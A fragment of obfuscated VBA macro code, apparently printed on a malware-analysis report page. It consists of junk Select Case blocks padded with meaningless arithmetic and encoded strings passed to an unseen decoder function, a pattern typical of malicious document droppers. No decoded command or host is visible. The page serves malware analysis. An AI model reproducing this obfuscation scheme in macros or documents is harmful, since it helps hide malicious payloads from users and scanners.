            WZQDK = Oct(73169)
End Select
Select Case cnoVm
         Case 81237
            TDVFRj = KoThE
            bYStBJ = RuWmHl
            LzLFjA = Cos(55363 * CBool(68864))
         Case 85669
            hnAomf = 19116
            CCqEV = Fix(89685)
            dBZYh = Oct(68776)
End Select
jTzYT = Lpjkwi("Bw4AwMAMGA4AwYAkDAhBANAADAzAgMAEGA0AQZAMDAyAANAIGAkBQZAIGAxAwNAUGAyAAOAIGAzAANAUGAxAQOAMGAiBQOAEGAiBwYAgDAxAwYAQDA5AwNAUDAxAAMAUDAiBQYAMDA1AwNAkDAjBgNAQDA2AgZAQGAhBQNAkBmPuC", 6 + 0, 166 + 0)
Select Case jjoKdN
         Case 95310
            VrfUL = IAiPM
            EiHGiQ = GwCLLO
            HRzcBv = Cos(24970 * CBool(98783))
         Case 63876
            YBiGVB = 91023
            UItzb = Fix(64703)
            NcrESj = Oct(39483)
End Select
Select Case wOImM
         Case 2151
            WStIV = nEoav
            DcTnT = AiJdV
            DSzLw = Cos(41680 * CBool(83537))
         Case 76671
            ifPLSb = 56072
            iBDmI = Fix(53857)
            capfLW = Oct(9122)
End Select
wDGOfB = Lpjkwi("IPOFQMAMDAzAwNAMGAxAgNAYGAyAgZAEGA2EBP", 4 + 0, 31 + 0)
Select Case zZECQc
         Case 16380
            iHhUz = bBfXH
            bRhvqV = VjLcOi
            RmNZMt = Cos(49172 * CBool(66971))
         Case 40643
            aHjYzn = 1165
            PdRjrI = Fix(23404)
            unmWiS = Oct(81057)
End Select
Select Case vAGQj
         Case 20616
            UDmLp = dlRRBi
            McmnbL = OGBvcU
            vAmSJ = Cos(67649 * CBool(968))
         Case 90334
            LqXprl = 88532
            PiLLTO = Fix(36228)
            XYzNBr = Oct(65854)
End Select
FbwmfjHa = Lpjkwi("q69iMrLAEGAkBAMAMDK.", 3 + 0, 11 + 0)
Select Case Kiliz
         Case 84422
            mRjazE = udMaf
            JFbmUd = KBhqUH
            iIAPa = Cos(44725 * CBool(59306))
         Case 48630
            jnVkBd = 42300
            aLjLE = Fix(12046)
            KWFolk = Oct(86075)
End Select
Select Case bpGJPh
         Case 78363
            uZwih = OiPYs
            QNiLl = pMhsVt
            TdnrH = Cos(91607 * CBool(68038))
         Case 89674
            wWvvNw = 75902
            DkjhWN = Fix(20901)
            XiscTB = Oct(7687)
End Select
wHwaKA = Lpjkwi("lSGA4AgZAgDAkBwMAIDA5AgZAYDAkBQMAYD3lKl ", 6 + 0, 32 + 0)
Select Case POaar
         Case 14389
            INpRHP = SqYwpl
            lzQcv = MqSHuS
            jzYMrv = Cos(14343 * CBool(51017))
         Case 37394
            vDfhQC = 6634
            MSsdQ = Fix(19295)
            wXQSvh = Oct(44572)
End Select
Select Case jZpPDW
         Case 59591
            EjYlRP = tCzCjR
            sNXqWZ = VZiiQ
            iHwRPw = Cos(4720 * CBool(23618))
         Case 25136
            WMhXdW = 34043
            LZAjc = Fix(83811)
            AFiiJ = Oct(88584)
End Select
kMMoiiL = Lpjkwi("twjKDA2AQYAkDAjBQOAADA5AAMAEDAiBgMAADA1AgZAYGA5AAMAQDAhBQOAYDA1AQMAkDAmBgNAEGAiBwNAkDA1AAOAIGAwAwYAYGA1AwMAEDAnCX79", 6 + 0, 106 + 0)
Select Case BPCmG
         Case 62801
            kPWfZB = oCfzHW
            rzziE = PqTdD
            OLRUrQ = Cos(71242 * CBool(41116))
         Case 51062
            dACpj = 21873
            DjBXo = Fix(19263)
            EHBcX = Oct(88289)
End Select
Select Case MCPQB
         Case 88490
            zfYFH = bziZj
            zKqBSE = fQUjK
            jaaGE = Cos(80297 * CBool(57216))
         Case 9356
            NhrQJ = 99439
            PYmiza = Fix(91391)
            BwMpO = Oct(10873)
End Select
rkmCArf = Lpjkwi("N,FRAZAQDA3AAZAEDA1AQMAYDA0AANAYDAmBgNAEDAmBQOAYGA5AwYAcDA5AAZAYDA4AQNAUGAjBANAkDA3AQMAgDAxAAZAIDAxAQZAMGAlBAMAIGAzAgNAYDAjBwMAQwN", 3 + 0, 124 + 0)
Select Case vOuYiB
         Case 87383
            kGjswI = CvLnB
            zbLJiE = Hdoqz
            lcVlVq = Cos(41860 * CBool(97118))
         Case 3695
            SizNru = 31927
            aEiwni = Fix(28658)
            zoSGRq = Oct(86809)
End Select
Select Case AGXmW
         Case 31917
            AziBnE = CECqcF
            STSaa = DBXCb
            aEmjm = Cos(54051 * CBool(88192))
         Case 2016
            wESPuq = 95812
            PuQwhh = Fix(75552)
            Mvwjz = Oct(50188)
End Select
IRfWXjWWCP = Lpjkwi("QWAyAAMAADAlBAMAQDAwAQNAADAmBQYAADA1AwNAcDAiBQYAYGAzAANAYDAwAANAgDAmBQOAkDAzAwYAQDAkBgNAcDAkBQMAYGAzAQNAIDAwAQZAYGA5AwMAIGAiBANAMGAmBAZAMDAmBAZAYDAmBAOAMDAxAANAMGA2AgYAUDAiBQMAADAiBAZAcDA0AQ6HDij", 6 + 0, 188 + 0)
Select Case ajdVPV
         Case 30295
            iEdVO = LfdFS
            HLItW = iajzUq
            YsjQU = Cos(66511 * CBool(27071))
         Case 98724
            hrDLZE = 901
            TahRY = Fix(28133)
            kwPqpi = Oct(71713)
End Select
Select Case iFPTpi
         Case 93007
            swmid = vioSl
            uQvSY = zJSCB
            owlJC = Cos(77241 * CBool(99873))
         Case 99312
            lmdwDa = 49392
            zspoj = Fix(93145)
            Kzuph = Oct(74356)
End Select
OtwiAzQnDtE = Lpjkwi("kUNbwAwNAgDA0AgYAgDAhBgYAUDA2AQMAEGAyAAOAQGAmBQMAMGAkBAZAIGA1AwNAQGA2AwYAIDA2AwMAYGAlBQMAkDA3AQNAQDA1AgNAADAiBAZAkDAxAgZAEDAmBQMAIGAxAQZAcDA2AANAcDA0AAOAEGA4AwMAQDAyAANAEDAxAANAEGAkBw66b", 4 + 0, 179 + 0)
Select Case qvRtfU
         Case 72531
            ASlTJi = VUZXG
            JLjIB = zFtKR
            zviiK = Cos(89236 * CBool(9081))
         Case 34292
            sWCMn = 67396
            bZPKjT = Fix(62509)
            lliwmW = Oct(13605)
End Select
Select Case wqlpzt
         Case 10427
            QmHAD = iAAzHw
            VbzjX = cUjjfi
            KziSh = Cos(99742 * CBool(64391))
         Case 6113
            qWTiMD = 27572
            Iliab = Fix(29962)
            IaIcpj = Oct(6566)
End Select
zLJIpfBpthK = Lpjkwi("znjRN2AgNAMDAkBQZAEDAmBQYAcDAxAgMAYDA3AQNAMDA1AANAEDAjBgMAIGAhBgNAUDA5AQZAIGAmBAMAYGAhBwYAEDAwAgMAkDA2AAOAADA0AQOAADAiBwMAUDAxAAOAQDAiBAZAEGAzAgYAUDA1AgZAUGAyAgYAcDAlBgYAQGAiBANAgDA74b", 4 + 0, 176 + 0)
Select Case SjbiWh
         Case 35121
            QwZkc = pYZGV
            tztjjs = HrENM
            uBwlUr = Cos(56246 * CBool(82031))
         Case 57960
            dBfJv = 70815
            DjNciS = Fix(81069)
            ziXKQL = Oct(68683)
End Select
Select Case cLCJdR
         Case 86376
            hhbQvr = uobvG
            LCQSi = SHFTXp
            LwIwkV = Cos(54501 * CBool(54664))
         Case 1157
            HlrMu = 64546
            QbzURI = Fix(73091)
            ubascO = Oct(7345)
End Select
dhimif = Lpjkwi("vIQUo0DA4AANAUGT", 2 + 0, 9 + 0)
Select Case PfJmrq
         Case 49217
            jKqIjr = XZXCwq
            uoWFq = BkYzDL
            hlvpaB = Cos(41225 * CBool(77949))
         Case 11703
            dKDzC = 35895
            LHkDk = Fix(41511)
            lAfcw = Oct(74831)
End Select
Select Case idwCiK
         Case 84686
            QJMMk = NzRQu
            Ftpsho = BaBCkN
            vBWFZj = Cos(98772 * CBool(95699))
         Case 12267
            RpnMRV = 62382
            LDkon = Fix(9568)
            tWqaO = Oct(13804)
End Select
kHMWJZ = Lpjkwi("ToiPwA3AQMAIGA0AwYAgDA1AQOAYGAwAQMAADAd", 2 + 0, 33 + 0)
Select Case zpTMdM
         Case 81629
            wHnAa = BbkEVz
            KLHNR = fNIXri
            qwsEsU = Cos(26458 * CBool(164))
         Case 11947
            Anidsu = 12155
            tJCoi = Fix(23722)
            LcKwok = Oct(91951)
End Select
Select Case GzKSYa
         Case 65796
            XfWjI = duaIJ
            fjsFz = DTiob
            Ksrsoi = Cos(18363 * CBool(52499))
         Case 82659
            lBBGi = 89379
            zFovaL = Fix(42697)
            FUUXO = Oct(58470)
End Select
bmOflzHIWZ = Lpjkwi("DqYQ.LfFZAcDA3AwYF", 2 + 0, 9 + 0)
Select Case EwWPQk
         Case 12890
            wiKKwq = qVJsi
            mikhVl = NpEcrC
            FkSiqs = Cos(23664 * CBool(81163))
         Case 25623
            AXQBi = 96653
            VzwRS = Fix(73269)
            vzXfJi = Oct(65270)
End Select
Select Case nidJm
…

Open this report in the interactive analyzer, or submit your own file for analysis.